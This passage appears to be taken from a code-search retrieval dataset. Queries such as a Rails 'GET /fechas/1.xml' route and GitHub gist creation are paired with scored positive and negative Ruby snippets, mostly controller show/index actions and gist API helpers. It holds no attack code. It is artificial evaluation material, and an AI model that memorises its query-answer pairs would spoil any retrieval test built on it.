sc_extras\n )\n\n return sc\n end", "title": "" }, { "docid": "5978725a99f715743821957fed28987e", "score": "0.54051363", "text": "def initialize()\n\t \t# loading or not loading should be the key here.\n @products = Array.new\n end", "title": "" }, { "docid": "58a1789af3a1a9f07e969aa3030a8a7e", "score": "0.54046583", "text": "def initialize(nombre,proteinas,carbo,lipidos,gases,terreno)\n\t\t#Variable con el nombre del Plato\n\t\t@nombre = nombre\n\t\t#Gramos de Proteinas\n\t\t@proteinas = proteinas\n\t\t#Gramos de Carbohidratos\n\t\t@carbo = carbo\n\t\t#Gramos de lipidos\n\t\t@lipidos = lipidos\n\t\t#Emisones de Gases del Alimento\n\t\t@gases = gases\n\t\t#Uso de Terreno del Alimento\n\t\t@terreno = terreno\n\tend", "title": "" }, { "docid": "2e350bc9b9b22830fe3d3760c1f9e23e", "score": "0.53919053", "text": "def initialize \n @tabla = Hash.new\n @padre = nil\n @hijo = Array.new\n #@for = false\n end", "title": "" }, { "docid": "4192b662e00230a5435ac6cde0530dfd", "score": "0.5388728", "text": "def entregar_carta_a_jugador\n\t\tif [email protected]_cartas # si no quedan cartas\n\t\t\tpasar_maso_mesa_a_baraja()\n\t\tend\n\t\t\treturn @baraja.sacar_carta\n\tend", "title": "" } ]
3fd15169bacb33f774b6774810acbfbf
GET /fechas/1 GET /fechas/1.xml
[ { "docid": "d4e9fd672644eca5f38a07ba5cf776d4", "score": "0.6032761", "text": "def show\n @fecha = Fecha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fecha }\n end\n end", "title": "" } ]
[ { "docid": "7e246eb151c0860393afbc4513ba9faa", "score": "0.6416252", "text": "def show\n @franchisee = Franchisee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @franchisee }\n end\n end", "title": "" }, { "docid": "700ac2d5680876b4d373411c45fbd8b4", "score": "0.63052636", "text": "def show\n @fee = Fee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fee }\n end\n end", "title": "" }, { "docid": "9639a4738d9d2139d21f691a357b3606", "score": "0.6253361", "text": "def index\n @franchises = @habitat.franchises.find(:all)\n \n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @franchises.to_xml }\n end\n end", "title": "" }, { "docid": "a07bb7daa77eb175193e18cb7bc53fd3", "score": "0.62014514", "text": "def index\n @feria2009cruces = Feria2009cruce.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2009cruces }\n end\n end", "title": "" }, { "docid": "a78c6063564d62d48537c52d241c5f06", "score": "0.6181023", "text": "def show\n @folk = Folk.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @folk }\n end\n end", "title": "" }, { "docid": "624cdf10a8aedc91fc0866477cad3702", "score": "0.61749554", "text": "def show\n @fd = Fd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fd }\n end\n end", "title": "" }, { "docid": "01a76a43bfd13ee8d071a08e86f61ccf", "score": "0.61557907", "text": "def show\n @dayfeeling = Dayfeeling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dayfeeling }\n end\n end", "title": "" }, { "docid": "8c912fe15819b3a5d1a93bec8ea7d4d6", "score": "0.6147964", "text": "def show\n @fizzy = Fizzy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fizzy }\n end\n end", "title": "" }, { "docid": "bdc8356d7974c9742b0b1d516c17421d", "score": "0.6143906", "text": "def show\n @freight = Freight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @freight }\n end\n end", "title": "" }, { "docid": "c69f3e6fed3c7259949b8122f55bedcf", "score": "0.6134434", "text": "def show\n @lookup_visitfrequency = LookupVisitfrequency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_visitfrequency }\n end\n end", "title": "" }, { "docid": "0a5cd0d832f2b06085085d0dd26a4138", "score": "0.6132522", "text": "def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faq }\n end\n end", "title": "" }, { "docid": "f6cd05b4857b8a31658e084545b8720e", "score": "0.6131622", "text": "def show\n @fabricante = Fabricante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fabricante }\n end\n end", "title": "" }, { "docid": "353687207a2d3ce6eeaefba53338bc87", "score": "0.6129424", "text": "def show\n @frequency = Frequency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequency }\n end\n end", "title": "" }, { "docid": "353687207a2d3ce6eeaefba53338bc87", "score": "0.6129424", "text": "def show\n @frequency = Frequency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequency }\n end\n end", "title": "" }, { "docid": "f69d139136a82d405cf69b1029f21e01", "score": "0.6128486", "text": "def show\n @factura = Factura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factura }\n end\n end", "title": "" }, { "docid": "f2f8039ffbdcedbc60bb69ee66fc281b", "score": "0.61207503", "text": "def show\n @scrap_xml = ScrapXml.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scrap_xml }\n end\n end", "title": "" }, { "docid": "4f2432eda7e0656c63488c92fff9b682", "score": "0.6117243", "text": "def show\n @feria2009cruce = Feria2009cruce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2009cruce }\n end\n end", "title": "" }, { "docid": "d8d537515bf18d3ac9194f9a7995325f", "score": "0.61165667", "text": "def beaches\n p \"surf_alarm beach action\"\n respond_to do |format|\n format.text\n format.xml\n end\n end", "title": "" }, { "docid": "57b004f279185aeb820378f1cf1323c3", "score": "0.61146927", "text": "def index\n @familletaches = @paramun.familletaches\n\n respond_to do |format|\n if @familletaches.empty?\n format.xml { render request.format.to_sym => \"ffamErreurA\" } ## Aucune Familletache collectée\n else\n format.xml { render xml: @familletaches }\n end\n end\n end", "title": "" }, { "docid": "918e08b0f5df7a784b3c007260a0768d", "score": "0.6100906", "text": "def show\n @esfera = Esfera.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @esfera }\n end\n end", "title": "" }, { "docid": "c5d04a3c3ba2e6933822a94a90a65fa2", "score": "0.61002386", "text": "def show\n @facture = Charge.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @facture }\n end\n end", "title": "" }, { "docid": "3228aff0b79cb528ef3b714c6c7cbc30", "score": "0.6091749", "text": "def show\n @falta = Falta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @falta }\n end\n end", "title": "" }, { "docid": "ff36d2598676d4d332562d067d5dedee", "score": "0.60906416", "text": "def show\n @fighter = Fighter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fighter }\n end\n end", "title": "" }, { "docid": "5d5cdd4e397cbd470d29836edde92ef4", "score": "0.60646033", "text": "def show\n @uf = Uf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @uf }\n end\n end", "title": "" }, { "docid": "4495f056458da598191f259625a39e66", "score": "0.60593545", "text": "def show\n @fuel = Fuel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fuel }\n end\n end", "title": "" }, { "docid": "4bce2022f677abca7b577203116ce2a3", "score": "0.60540056", "text": "def show\n @feria2009rechazado = Feria2009rechazado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2009rechazado }\n end\n end", "title": "" }, { "docid": "cb0e7b09bc7080bf8e95ff2eb9879790", "score": "0.60493463", "text": "def show\n @frnd = Frnd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frnd }\n end\n end", "title": "" }, { "docid": "4f00df9979ac03a69181dbf0c6b39b2c", "score": "0.6037497", "text": "def show\n @franchise = Franchise.find(params[:id])\n @habitat = Habitat.find(@franchise.habitat_id)\n \n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @franchise.to_xml }\n end\n end", "title": "" }, { "docid": "275fa63f9acbe4f460eefcc09be5f676", "score": "0.6035194", "text": "def show\n @f = f.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @f }\n end\n end", "title": "" }, { "docid": "19299871a100fdb75fd8b61e24b8bd03", "score": "0.60305566", "text": "def show\n @faculdade = Faculdade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faculdade }\n end\n end", "title": "" }, { "docid": "fad75c8e7fa6b94f48f9358cf3bbd298", "score": "0.60301447", "text": "def show\n @feed_spec = FeedSpec.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed_spec }\n end\n end", "title": "" }, { "docid": "db17575d0b8e42ba96e1130a8c47bf49", "score": "0.60108095", "text": "def show\n @feriadocentecalificacion = Feriadocentecalificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feriadocentecalificacion }\n end\n end", "title": "" }, { "docid": "1317bc9d7119596a1ae632c6d074015e", "score": "0.60026586", "text": "def show\n @favcom = Favcom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @favcom }\n end\n end", "title": "" }, { "docid": "a1c2cc99cca1390112684aab53647e59", "score": "0.5998568", "text": "def show\n @fiduciasrendimiento = Fiduciasrendimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fiduciasrendimiento }\n end\n end", "title": "" }, { "docid": "34862dcf11a7cb02aa6b6066b12812af", "score": "0.59957707", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @facturarecibo }\n end\n end", "title": "" }, { "docid": "382ae044ada8e557b8c495918e4b3930", "score": "0.59948367", "text": "def show\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @food.to_xml }\n end\n end", "title": "" }, { "docid": "4a25874493d1f720cecedf77812d756f", "score": "0.59900707", "text": "def show\n @feria2010calificacion = Feria2010calificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010calificacion }\n end\n end", "title": "" }, { "docid": "4a5220081ec0e51365ef15fa8fde4195", "score": "0.5987578", "text": "def show\n @xml_file_download = XmlFileDownload.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @xml_file_download }\n end\n end", "title": "" }, { "docid": "9b2114f5042be69b130ab351e1a5d3ea", "score": "0.5986733", "text": "def index\n @feria2009rechazados = Feria2009rechazado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2009rechazados }\n end\n end", "title": "" }, { "docid": "06fce8a94b10567387c1c0fdf8384949", "score": "0.5983569", "text": "def show\n @forecast = Forecast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forecast }\n end\n end", "title": "" }, { "docid": "494fe8f120e2e6a8f22e3e3874999ca4", "score": "0.59818375", "text": "def show\n @fiber = Fiber.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fiber }\n end\n end", "title": "" }, { "docid": "219675f818311e83d809ad50537f49e6", "score": "0.5973198", "text": "def apis\n respond_to do |format|\n format.xml\n end\n end", "title": "" }, { "docid": "a023119a72293d22e6a1fda637a4fad7", "score": "0.5972464", "text": "def show\n @efactura = Efactura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @efactura }\n end\n end", "title": "" }, { "docid": "7f23af383e01fc2899a6194d35513439", "score": "0.59715384", "text": "def show\n @folio = Folio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @folio }\n end\n end", "title": "" }, { "docid": "33d3592e325b7682067b57f4a06bf848", "score": "0.59677184", "text": "def index\n @fichas = Ficha.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fichas }\n end\n end", "title": "" }, { "docid": "aca19a0f59e9cacb8badfe91a4caa625", "score": "0.59650314", "text": "def show\n @ficha = Ficha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ficha }\n end\n end", "title": "" }, { "docid": "de256e073db783355b77b1293889aec3", "score": "0.5963837", "text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n \r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n \r\n response.body\r\n end", "title": "" }, { "docid": "802270a8ff4621847bfa868cec288afb", "score": "0.59588194", "text": "def show\n @cheat = Cheat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cheat }\n end\n end", "title": "" }, { "docid": "6017273ee6acec3bf973990de8428de9", "score": "0.5957151", "text": "def index\n @feria2010calificaciones = Feria2010calificacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010calificaciones }\n end\n end", "title": "" }, { "docid": "e442b8d74c288df43a30f4d820e85587", "score": "0.59553325", "text": "def show\n @fuel_up = FuelUp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fuel_up }\n end\n end", "title": "" }, { "docid": "fbb2cb36b97a3a78da30d65480f63115", "score": "0.5955072", "text": "def index\n @faltas = Falta.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @faltas }\n end\n end", "title": "" }, { "docid": "b0e895e4a4820f2df929821b3a0bda16", "score": "0.59547657", "text": "def show\n @fanxian = Fanxian.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fanxian }\n end\n end", "title": "" }, { "docid": "4a0a40992b5ca54277e36fbe9338dccb", "score": "0.59537536", "text": "def show\n @fender = Fender.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fender }\n end\n end", "title": "" }, { "docid": "385e02ee898a8386904f26d26abe83bc", "score": "0.5948537", "text": "def show\n @fahrenheit_temp = FahrenheitTemp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fahrenheit_temp }\n end\n end", "title": "" }, { "docid": "15992c16f56b13378e8959b46daae485", "score": "0.59431314", "text": "def show\n @my_food = MyFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_food }\n end\n end", "title": "" }, { "docid": "bf67adad38bd7c3a2ec7b35d37ebae01", "score": "0.59412575", "text": "def show\n @action_definition = ActionDefinition.find(params[:id])\n @feeling_definitions = FeelingDefinition.all\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @action_definition }\n end\n end", "title": "" }, { "docid": "93d1a61ae841f4c6c79fbda156a2f9bf", "score": "0.5937003", "text": "def show\n @fonction = Fonction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fonction }\n end\n end", "title": "" }, { "docid": "3dce4ab83560cca21b0ff69e7992027a", "score": "0.59249157", "text": "def show\n @fuente = Fuente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fuente }\n end\n end", "title": "" }, { "docid": "a840036437f1546f38f016eba21f9895", "score": "0.5922256", "text": "def show\n @funder = Funder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @funder }\n end\n end", "title": "" }, { "docid": "2a1ee4f58ba626f42f99166228e32de1", "score": "0.5921157", "text": "def show\n @falta_de_asistencia = @alumno.falta_de_asistencias.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @falta_de_asistencia }\n end\n end", "title": "" }, { "docid": "27519824b67207bccfba0de28d5b2919", "score": "0.5920904", "text": "def url; \"http://localhost:3000/sdn.xml\"; end", "title": "" }, { "docid": "d09ed3959194439ae0caf11060f4971e", "score": "0.59160006", "text": "def show\n @franja = Franja.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @franja }\n end\n end", "title": "" }, { "docid": "75cbcf56e70b6f05f18bf63abd4293fd", "score": "0.5914813", "text": "def index\n self.class.get(\"/cards/index.xml\");\n end", "title": "" }, { "docid": "849e80aeae946394cf28fa8eefe82bfb", "score": "0.5907681", "text": "def show\n @factbonificacion = Factbonificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factbonificacion }\n end\n end", "title": "" }, { "docid": "0acd01670e03029a91679ad66ce06083", "score": "0.5906694", "text": "def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end", "title": "" }, { "docid": "0acd01670e03029a91679ad66ce06083", "score": "0.5906694", "text": "def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end", "title": "" }, { "docid": "fadcdde3429556fc799dcbde6388cf00", "score": "0.59050953", "text": "def show\n @feria2010rechazado = Feria2010rechazado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010rechazado }\n end\n end", "title": "" }, { "docid": "821359af8f443844808c3355018c4040", "score": "0.59046406", "text": "def show\n @fedex_rate = FedexRate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fedex_rate }\n end\n end", "title": "" }, { "docid": "d1da65e065070ae825c811f12cc0ba5a", "score": "0.5903275", "text": "def show\n @fertiliza = Fertiliza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fertiliza }\n end\n end", "title": "" }, { "docid": "a673f43264cc3acc51bca8250ba7998c", "score": "0.5902104", "text": "def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH+url, 'User-Agent' => 'WikipediaSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n resp.body #get xml\nend", "title": "" }, { "docid": "6f2445032a1d8df4da41c0634b7183fc", "score": "0.5899169", "text": "def show\n @patient_fee = PatientFee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @patient_fee }\n end\n end", "title": "" }, { "docid": "4e5373c37c0ef03ebc66f02b21f7bf1d", "score": "0.58984214", "text": "def show\n @feriadocenterechazado = Feriadocenterechazado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feriadocenterechazado }\n end\n end", "title": "" }, { "docid": "e3f871dfa326999fc91235325b84e448", "score": "0.5897893", "text": "def show\n @feed_back = FeedBack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed_back }\n end\n end", "title": "" }, { "docid": "418600e85a64a086e34f10176e7b1881", "score": "0.5894623", "text": "def read_api\n begin\n uri = URI('https://www.ecb.europa.eu/stats/eurofxref/eurofxref-hist-90d.xml')\n Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n response = http.request request\n response.body\n end\n rescue => e\n print_exception e\n end\n end", "title": "" }, { "docid": "0c0dab280ccba04e16f60edacf4b3843", "score": "0.58899033", "text": "def faq\n respond_to do |format|\n format.html # faq.html.erb\n format.xml { render :xml => nil }\n end\n end", "title": "" }, { "docid": "5fa00b127136e350c3f1e41597ad79d8", "score": "0.5889493", "text": "def index\n @feriadocentecalificaciones = Feriadocentecalificacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feriadocentecalificaciones }\n end\n end", "title": "" }, { "docid": "bb4bff6975b933a39d64cda20cbcb325", "score": "0.58891296", "text": "def show\n @forum = Forum.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forum }\n end\n end", "title": "" }, { "docid": "35e413507f46a32e2fabff93fccc72fc", "score": "0.58873737", "text": "def show\n @provided_food = ProvidedFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @provided_food }\n end\n end", "title": "" }, { "docid": "6fe497d97a6bd827f6130fd048b53ebc", "score": "0.5880802", "text": "def show\n @fund_raising = FundRaising.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fund_raising }\n end\n end", "title": "" }, { "docid": "b630b2c9dc088eb5931039706beebe4b", "score": "0.5879985", "text": "def show\n @fund_raiser = FundRaiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fund_raiser }\n end\n end", "title": "" }, { "docid": "d5f05320d917b153f691790557d3fb1b", "score": "0.58780134", "text": "def show\n @feeling_graphic = FeelingGraphic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feeling_graphic }\n end\n end", "title": "" }, { "docid": "7c42dc50753e7821ac7a4b5bcf7dd0f8", "score": "0.5875538", "text": "def show\n @sifi = Sifi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sifi }\n end\n end", "title": "" }, { "docid": "3e97b54d62735f0c711d85b7574187c7", "score": "0.587468", "text": "def show\r\n Usage.switch_data(params[:Usage], \"daily\")\r\n @usages = Usage.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @usages.to_xml(:root => 'records', :children => 'record', :dasherize => false) }\r\n end\r\n end", "title": "" }, { "docid": "837bf1a2889a39e6584e361f466c31c8", "score": "0.5874197", "text": "def show\n @feriadocentebeneficiario = Feriadocentebeneficiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feriadocentebeneficiario }\n end\n end", "title": "" }, { "docid": "1696864dd7970d4d43473d93a8919eaf", "score": "0.5872973", "text": "def show\n @federation = Federation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @federation }\n end\n end", "title": "" }, { "docid": "035b8f5bbbe7202420506937b8d8aab7", "score": "0.5872291", "text": "def show\n @power_furnace = Power::Furnace.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @power_furnace }\n end\n end", "title": "" }, { "docid": "d5f8d99d65b19a512b79d246f3375de2", "score": "0.58720934", "text": "def index\n respond_to do |format|\n format.xml\n end\n end", "title": "" }, { "docid": "1037e060f6392be05bbef1d6ce808b5f", "score": "0.5869507", "text": "def show\n @factlect = Factlect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factlect }\n end\n end", "title": "" }, { "docid": "75a4630dd74e9772c8ea418a958f96e7", "score": "0.5867041", "text": "def show\n @feria2014puntaje = Feria2014puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2014puntaje }\n end\n end", "title": "" }, { "docid": "3fc71b1661e592292d9538f9b2d11dbe", "score": "0.58667", "text": "def show\n @fact = Fact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fact }\n end\n end", "title": "" }, { "docid": "f2d5679a1e02c8af30329028348f6aa4", "score": "0.586502", "text": "def show\n @dependencia = Dependencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dependencia }\n end\n end", "title": "" }, { "docid": "d783f592b6045caa81e5fc07d32fa1f1", "score": "0.5858448", "text": "def index\n @federations = Federation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml\n end\n end", "title": "" }, { "docid": "efad42e98271df220c24a0b458dadbfc", "score": "0.5857255", "text": "def index\n @fuel_ups = FuelUp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fuel_ups }\n end\n end", "title": "" }, { "docid": "b2069cc1c3a228f7167cb5be372a1d96", "score": "0.5847904", "text": "def show\n @historique = Historique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historique }\n end\n end", "title": "" }, { "docid": "3d0ded119338504b51b2dec3b457c2e6", "score": "0.58457357", "text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "3d0ded119338504b51b2dec3b457c2e6", "score": "0.58457357", "text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "3d0ded119338504b51b2dec3b457c2e6", "score": "0.58457357", "text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "3d0ded119338504b51b2dec3b457c2e6", "score": "0.58457357", "text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "3d0ded119338504b51b2dec3b457c2e6", "score": "0.58457357", "text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "eaede19229ba597eac663fa13f972738", "score": "0.584486", "text": "def show\n @chapa = Chapa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chapa }\n end\n end", "title": "" } ]
db8d35a7103ae4154623f544a439962f
Create a gist on gist.github.com
[ { "docid": "8079a1bcb0527aacd79769996954f2ce", "score": "0.0", "text": "def write(files, private_gist = false, description = nil)\n response = request(create_url) do |url|\n Net::HTTP::Post.new(url.path).tap {|req|\n req.body = JSON.generate(data(files, private_gist, description))\n }\n end\n\n case response\n when Net::HTTPUnauthorized\n $stderr.puts \"Invalid credentials connecting to #{api_url}\"\n false\n when Net::HTTPCreated, Net::HTTPOK\n JSON.parse(response.body)['html_url']\n else\n raise StandardError, \"#{response.code} #{response.message}\"\n end\n end", "title": "" } ]
[ { "docid": "3546824255d36f2f04802b9208783422", "score": "0.80842507", "text": "def make_gist\n @gist = Gist.new(:description => \"TODO Gist\",\n :public => false)\n @gist[\"list.json\"] = \"[]\"\n @gists.save @gist\n end", "title": "" }, { "docid": "8fbf33cebacfda53786b04629d8663d9", "score": "0.7204128", "text": "def create_gist(filepath, opts={})\n begin\n create_opts, name = generate_options(filepath, opts)\n options = {:body => create_opts.to_json}\n resp = self.class.post(\"/gists\", options)\n response_handling(resp, 201, name, \"created\")\n rescue SocketError => e\n puts \"\\ncould not connect to Github, heres the error - SocketError - #{e}\\n\"\n puts \"your probably not connected to the internetz, dumbo\"\n end\n end", "title": "" }, { "docid": "6d38483b19aff6ab1267f06b1334b976", "score": "0.69149864", "text": "def gist( gist_id )\n\tgist_snippet_url = \"http://gist.github.com/#{gist_id}\"\n\treturn (<<-EOS).chomp\n<div class=\"gist_plugin\"><script src=\"#{gist_snippet_url}.js\"></script>\n<noscript><a href=\"#{gist_snippet_url}\">gist:#{gist_id}</a></noscript></div>\n\tEOS\nend", "title": "" }, { "docid": "781c81f496045c974329528a63ca3938", "score": "0.6794691", "text": "def create\n @gist = Gist.new(gist_params)\n\n respond_to do |format|\n if @gist.save\n format.html { redirect_to @gist, notice: 'Gist was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gist }\n else\n format.html { render action: 'new' }\n format.json { render json: @gist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9de7eaaa3dc56bcfd91f8935598c948", "score": "0.67831016", "text": "def run_gist\n `open http://gist.github.com/#{gist_id}` if gist_id\n end", "title": "" }, { "docid": "ef5cc0fc55876ad63fa31c1e810ee7d6", "score": "0.65664965", "text": "def get_gist_url_for(gist, file)\n \"https://api.github.com/gists/#{gist}\"\n end", "title": "" }, { "docid": "9f659c18ce713b924ca294663c00c258", "score": "0.6529752", "text": "def create_gists(file, options={})\n opts = {:files => {File.basename(file) => { 'content' => File.read(file) }}}\n options.merge!(opts)\n result = self.class.post(\"/gists\", :body => options.to_json, :headers => @headers)\n if result.code == 201\n puts \"You have successfully created a new gist!\"\n end\n end", "title": "" }, { "docid": "8f355fb07b27ecce6161146a969ec085", "score": "0.6523701", "text": "def gist_url\n \"#{api_url}/gists/%s\"\n end", "title": "" }, { "docid": "0a84463cec5edf9624c95230761b0ffa", "score": "0.6519965", "text": "def create\n @gist = Gist.new(params[:gist])\n current_user.gists << @gist\n \n respond_to do |format|\n if @gist.save\n format.html { redirect_to @gist, notice: 'Gist was successfully created.' }\n format.json { render json: @gist, status: :created, location: @gist }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @gist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03d8c916a7d4e88dabe6d67ac725c199", "score": "0.63529277", "text": "def set_gist_data\n gist.description = generated_gist_description\n gist.files.keys.each { |filename| gist.files[filename] = nil }\n code_examples.each do |example|\n gist.files[example.filename] = { :content => example }\n end\n gist.files\n end", "title": "" }, { "docid": "33614ea2a68a1459368a4e6bb1249c28", "score": "0.62740606", "text": "def get_gist_url_for(gist, file)\n 